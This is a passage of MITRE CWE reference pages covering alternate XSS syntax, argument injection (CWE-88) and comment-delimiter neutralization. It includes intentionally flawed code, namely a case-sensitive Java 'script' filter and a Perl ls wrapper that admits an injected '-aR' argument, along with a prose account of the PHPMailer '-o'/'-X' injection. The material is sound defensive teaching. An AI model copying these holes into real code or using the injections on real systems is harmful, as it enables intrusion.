In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:

(bad code)
Example Language: Java 
public String preventXSS(String input, String mask) {
return input.replaceAll("script", mask);
}

The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

+ Observed Examples
ReferenceDescription
XSS using "&={script}".
+ Potential Mitigations

Phase: Implementation

Resolve all input to absolute or canonical representations before processing.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAlternate XSS syntax
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Name, Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Alternate XSS Syntax
2010-06-21Failure to Sanitize Alternate XSS Syntax

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Weakness ID: 88
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
+ Extended Description

When creating commands using interpolation into a string, developers may assume that only the arguments/options that they specify will be processed. This assumption may be even stronger when the programmer has encoded the command in a way that prevents separate commands from being provided maliciously, e.g. in the case of shell metacharacters. When constructing the command, the developer may use whitespace or other delimiters that are required to separate arguments when the command. However, if an attacker can provide an untrusted input that contains argument-separating delimiters, then the resulting command will have more arguments than intended by the developer. The attacker may then be able to change the behavior of the command. Depending on the functionality supported by the extraneous arguments, this may have security-relevant consequences.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

PHP (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic; Read Application Data; Modify Application Data

An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.
+ Demonstrative Examples

Example 1

Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed.

(bad code)
Example Language: Perl 
my $arg = GetArgument("filename");
do_listing($arg);

sub do_listing {
my($fname) = @_;
if (! validate_name($fname)) {
print "Error: name is not well-formed!\n";
return;
}
# build command
my $cmd = "/bin/ls -l $fname";
system($cmd);
}

sub validate_name {
my($name) = @_;
if ($name =~ /^[\w\-]+$/) {
return(1);
}
else {
return(0);
}
}

However, validate_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories.

There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions.

Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option.

Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:

(good code)
Example Language: Perl 
if ($name =~ /^\w[\w\-]+$/) ...

Example 2

CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer.

The program calls PHP's mail() function to compose and send mail. The fifth argument to mail() is a set of parameters. The program intends to provide a "-fSENDER" parameter, where SENDER is expected to be a well-formed email address. The program has already validated the e-mail address before invoking mail(), but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional "-o" argument (listing an output file) and a "-X" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250].

+ Observed Examples
ReferenceDescription
Python-based dependency management tool avoids OS command injection when generating Git commands but allows injection of optional arguments with input beginning with a dash, potentially allowing for code execution.
Canonical Example - "-froot" argument is passed on to another program, where the "-f" causes execution as user "root"
Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.
Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.
Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.
Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL.
Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.
Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.
SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.
Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.
Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.
Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.
Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."
Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.
Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.
Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
Argument injection allows execution of arbitrary commands by injecting a "-exec" option, which is executed by the command.
Argument injection in mail-processing function allows writing unxpected files and executing programs using tecnically-valid email addresses that insert "-o" and "-X" switches.
+ Potential Mitigations

Phase: Implementation

Strategy: Parameterization

Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.

Effectiveness: High

Phase: Architecture and Design

Strategy: Input Validation

Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.810OWASP Top Ten 2010 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.929OWASP Top Ten 2013 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1027OWASP Top Ten 2017 Category A1 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1165SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERArgument Injection or Modification
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV33-CImpreciseDo not call system()
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC30Mail Command Injection
+ References
[REF-859] Steven Christey. "Argument injection issues". <https://seclists.org/bugtraq/2007/Feb/234ed>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "The Argument Array", Page 567. 1st Edition. Addison Wesley. 2006.
[REF-1030] Eldar Marcussen. "Security issues with using PHP's escapeshellarg". 2013-11-13. <https://baesystemsai.blogspot.com/2013/11/security-issues-with-using-phps.html>.
[REF-1249] Dawid Golunski. "PHPMailer < 5.2.18 Remote Code Execution [CVE-2016-10033]". 2016-12-25. <https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html>.
[REF-1250] Dawid Golunski. "Pwning PHP mail() function For Fun And RCE". 2017-05-03. <https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2021-05-28Anonymous External Contributor
Identified inappropriate demonstrative example, suggested new observed example, applicable language.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2009-10-29CWE Content TeamMITRE
updated Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Observed_Examples, Relationships
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-09-19CWE Content TeamMITRE
updated Description, Name, References, Relationships
2019-09-23CWE Content TeamMITRE
updated Description, Name, Observed_Examples, Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, References
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Description, Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2019-09-19Argument Injection or Modification
2019-09-23Improper Delimitation of Arguments in a Command ('Argument Injection')

CWE-151: Improper Neutralization of Comment Delimiters

Weakness ID: 151
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Mail client command execution due to improperly terminated comment in address list.
MIE. RFC822 comment fields may be processed as other fields by clients.
Well-placed comment bypasses security warning.
Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow ">!--" while denying most other tags.
Information hiding using a manipulation involving injection of comment code into product. Note: these vulnerabilities are likely vulnerable to more general XSS problems, although a regexp might allow "<!--" while denying most other tags.
+ Potential Mitigations
Developers should anticipate that comments will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
